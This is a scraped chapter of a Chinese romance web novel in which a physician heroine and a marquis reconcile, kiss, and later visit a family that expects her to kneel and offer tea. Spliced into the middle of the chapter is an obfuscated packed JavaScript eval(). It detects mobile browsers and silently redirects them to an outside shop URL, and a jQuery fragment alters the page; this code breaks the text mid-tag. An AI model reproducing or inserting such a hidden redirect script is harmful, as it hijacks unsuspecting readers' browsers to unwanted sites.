50. 第五十章
作品:《温柔医娘驯疯侯》 她虽极力抗辩着,可惜红透的耳根已经说明了一切。
这时候,怎能让她逃掉?
季衡一展长臂,将人揽回来坐在腿上,方心满意足靠上那清瘦的肩头。
“这不叫吃醋,那什么才叫吃醋?”
她颌首,浓密的睫羽遮住了慌乱的眸光,脸颊宛如覆了一层薄薄红纱,过于娇艳动人。
她手垂在腿上,绞着衣衫一角,带着微弱的怒气,更像是在娇嗔:“我、我才没有,我只是在气你罢了。”
季衡并不觉得生气。
“气我什么?”
她回眸望他,已从方才的慌乱中沉静下来:“气你,对我有所保留。”
这是他意料之外的答案。
时至今日,她都还在质疑自己的真心。
他立即竖起四个手指:“天可怜见,我对你一片赤忱,从无半句虚言。”
“是没有半句虚言,却未必事事言无不尽,不是吗?”
“此话怎讲?”
“你妹妹今天来了。”
“我知道。”
“她说了许多你以前的事,你那匹被吃掉的马,你在朝中的事。”
“那如何?”
他似乎丝毫不觉得有任何问题。
这才是大问题。
夫妻之间,合该没有隐瞒的,可他没有告知的事情,一定远不止这些。
“这些事,在我失忆之前,你可曾告知过我吗?”
季衡笑了笑,搂着她腰的手臂紧了紧:“不曾。”
栗岫云脸色一沉:“为何?是我出身低微,便连知晓侯爷过往的资格都没有?侯爷非我不可,莫非是觉得,我这样出身的夫人,只配做依附着你的菟丝花,既不会牵绊你,更无力挟制你?又或是瞧我醉心医道,便料定我不会在意你在外是否拈花惹草?”
季衡骤然怔忪。
身份之间的差距,就像一条显而易见的沟壑,哪怕你闭上眼,也会感受到谷底传来的风。
因为那风,才是他这样从底层摸爬滚打出来的人,所熟悉的气味。
他明白,即便如今身居高位,也时常自心底深处冒出疑问。
配得上吗?
守得住吗?
季衡太了解这种感受。
或许从她踏过朱雀门,入了这侯府起,这疑问便在她心底生了根。
幸好,她肯说出来。
肯宣之于口,便说明,她信他,信他会给她一个答案。
他心念翻涌,只将她往怀里紧揽,紧紧贴着她温热的胸膛,直到清晰听见心跳,心中才觉着安定。
季衡的温度,仿若一贴膏药,疗愈了栗岫云因季凌的话,变得乱糟糟的心绪。
她后知后觉回过神,方才的话,未免太过尖锐了。
一字一句,都像是在控诉他的诚意不足,控诉他没能给足她安全感。
关于身份的事,他明明已经说了很多次,他不在乎,他甚至可以为她舍弃这爵位。
时至今日,她还在纠结这一点,易地而处,她都忍不住要生气。
可他没有生气,也不急着辩解,只是安安静静地抱着她,力道沉稳,带着让人安心的笃定。
她心头一软,情不自禁抬手,环住了他的脖颈,轻轻回拥。
他埋首在她胸前,闷声闷气的:“云儿,你会这般追问,这般介怀,我可不可以当,你是在乎我?”
一语惊醒梦中人,栗岫云心头猛地一震。
身为一名医生,最是擅长剖症析因,可轮到自己的心事,反倒成了当局者迷。
原来这所有的拧巴、不安与纠结,根由只有一个。
她在乎他。
她下意识攥紧他的衣服,嘴唇轻嗫,却说不出一个字。
季衡敏锐察觉到怀中人的心跳骤然加快,她虽未应声,可这份滚烫的悸动,已然替她给出答案。
“我说过的,我心悦的,从来只是你这个人。无论你是农门医女,还是名门闺秀。至于过去的事,早就过去了,提那些做什么?”
季衡搂着她的手臂收得更紧,掌心摩挲着背上的衣料,仿佛要把她揉进身体里。
“我更在乎的,是当下这一刻,是眼前的你。”
栗岫云攥紧衣服的手倏然松开。
他的话,如拨云见日的清风,一瞬吹散了她心头盘桓的迷雾。
她伏在他肩头,光洁额头轻轻贴住他劲韧脖颈,清晰触到皮下跃动的脉搏,沉稳而有力。
他说得对,过去种种已然消逝,无从追溯,未来种种尚处飘渺,无法捉摸。
唯有这一刻的温软相拥,唯有眼前近在咫尺的人,是真切握在手中的安稳。
“好,我知道了,我不问了。”她软下声音。
“也不气恼我了?”
“不气了。”
三字刚落,愧疚便顺着心口漫上来。
一个人若不愿谈论过往,那往往意味着,过往是道不堪揭露的伤疤。
她为什么要残忍地让他自揭伤疤?
“是我不对,不该纠缠在这些小事中,无端恼你。”
季衡心口骤然一暖,满心都是欢喜。
她就是这般,小性子来得快也去得快,更是从不避讳自己的错误。
他仰起头,指尖绕着她胸前垂下的青丝,言语带着丝丝柔柔的暧昧:“夫人知错虽好,但轻飘飘道个歉,未免有些敷衍。”
一听这话,栗岫云登时便懂了,这厮又在借机耍赖。
她方才褪去的羞赧又漫上脸颊,忍不住捏他脸:“你可真是会顺杆爬。”
他嘿嘿一笑,眼底盛着明亮的笑意,理直又气壮:“夫人都给了台阶,自然要好好往上爬才行。”
栗岫云抿了抿唇:“你先放我起来。”
“为何?”
季衡当然舍不得松手,巴不得天雷勾地火,让她欲罢不能,留他不走才好。
这点小九九,栗岫云就算不知,也明白他血气方刚的年纪,若是再这么黏下去,今日这床怕是真的下不去了。
“你放不放?”栗岫云揪着他耳朵,咬牙嗔怒道。
季衡瞧她眼尾泛红的模样,哪里舍得真惹她,只得不情不愿松了手,目光黏着她,看着她起身站稳。
栗岫云反手牵过他的手,缓缓走出里间,直走到门边才停下脚步。
她颌首垂眸,鼻尖染着淡淡的绯红,蝶翼般的长睫轻颤:“可说好了,等成亲后的。”
季衡垂头叹息,终究无奈应了:“好。”
见他听话应允,栗岫云心头一软,双手轻轻抓住他革带,极力踮起脚尖,在他唇上落下一吻。
季衡眼神骤然一亮,又瞬间深沉,反手扣住她的腰肢,倾身便追了上去。
轻浅的一吻,变得绵长而炽热。
唇瓣交叠,气息相缠,温度极速攀升。
一吻罢了,他抵着她的额头轻喘,鼻息交缠,声线暗哑得厉害:“你抓胳膊不好,偏要抓腰带,可不是存心折磨我?”
栗岫云本就被他吻得气息微乱,心口怦怦直跳,乍听此言,脸颊轰地烧起来,慌忙收回双手死死捂住发烫的脸,脑袋一埋,整个人往他温热胸膛里钻,更是羞得无地自容。
“我、我没有,方才只是……只是踮脚站不稳,顺手一抓罢了,是你、是你多想了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116252|193028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她这副娇怯无措、羞赧不已的模样,直直撞进季衡心坎里。
他心头一软,连满腔燥意都裹上了甜蜜,一下一下轻抚着她的后背,声音愈发低沉情浓:“好好好,是我多想,是我胡说,不冤枉你。”
谁能想到,那位面对急病险症总能从容不迫、辨症用药时稳如泰山,冷脸时清贵如玉菩萨、笑颜时端庄如临水仙的栗岫云,竟会有这般不堪撩拨的软嫩模样。
而这独一份的娇羞,唯有他得见,也只能他一人见着。
……
用过早膳,季凌便来寻栗岫云。
她精气神虽不佳,但脸色比昨日好了些,见栗岫云穿得简单,头上半只珠钗也没有,便训斥了梳头丫鬟一通。
栗岫云笑着解释:“是我不让的,我看书思考时会忍不住挠头,首饰太多实在不方便。”
季凌笑了笑,把她按在梳妆台前:“今日要访客,这般装扮未免显得不重视,还请嫂嫂稍加忍耐。”
她唤了丫鬟来重新梳头。
栗岫云把玩着玉镯,眼角余光却瞥见季凌盯着她看得分外仔细。
看得她心里发毛,只好找个话题缓解下尴尬:“今日要去见什么客人?”
季凌怔愣了片刻,回神:“嫂嫂认识的,严娘子的娘家。”
栗岫云心头满是疑惑,她与严秋娘虽有旧交,却也不必特意登门拜访。
严秋娘的娘家也在京中,不过不同于侯府显贵居于内城,而是在外城的一方大院。
她的父亲亦在朝为官,官职不高,本是清贫,胜在她母亲庄夫人很善经营,家里田庄铺子置办不少,因此门院颇为气派。
马车抵达严府门前时,栗岫云方下马车,便觉得诧异。
严府门前,花红柳绿一群女眷,不仅是严家主母庄夫人带领的诸人,连胡家老夫人与胡夫人也赫然在列,一行人簇拥着迎上前来,礼数周全,客气十足。
栗岫云心中暗嘲,如今还不是侯府夫人,就这么大阵仗,不敢想成亲后出门访客有多麻烦。
她跟着季凌,依着模样回礼。
一行人寒暄着入府,在正堂分主次坐定后,胡家老夫人便率先开口,脸上是一贯慈祥温和的笑意:“栗娘子,自东阳一别,真是世事难料,竟不知你如今已是平南侯的未婚妻。当初劳你亲自伺候秋娘月子,是我胡家考虑不周,多有冒犯,还望你莫要记挂。”
栗岫云敛衽起身,举止温和有礼,言语柔婉却不失气度:“老夫人言重了。照料病患本就是医者本分,何来冒犯之说?再者,当初老夫人割爱赠我医书,助青云医馆落地,这份恩情我始终感念。如今医馆迁至京中,往后还要仰仗老夫人多多照拂,若得您一句认可,便是医馆的福气。”
她说话时,坐在老夫人下首的胡家夫人,一直垂着眼睛,不曾直视。倒是与她并排而坐的庄夫人,露出许多赞赏,看她的目光越发和善。
严秋娘也是按捺不住的激动,拉着她母亲的手,喜不自胜:“娘,可是我说的,栗娘子是知书达理,能登咱们家门,这可是咱家的荣光!”
胡老夫人颔首点头,笑意更盛:“既如此,礼数不可废,快些敬茶吧。”
栗岫云有些纳罕,不知“敬茶”是何意,下意识回首看季凌,只见她从丫鬟捧来的茶盘里,稳稳端出一盏茶递来。
栗岫云刚伸手接过茶盏,便见丫鬟取来一个蒲团,放在庄夫人跟前。
这是要给庄夫人敬茶吗?
她暗自思忖间,季凌不着痕迹地轻扶她的手肘引到蒲团前。
紧接着,季凌俯身,用只有两人能听见的声音轻语:“嫂嫂,跪下,该说,请义母用茶。”

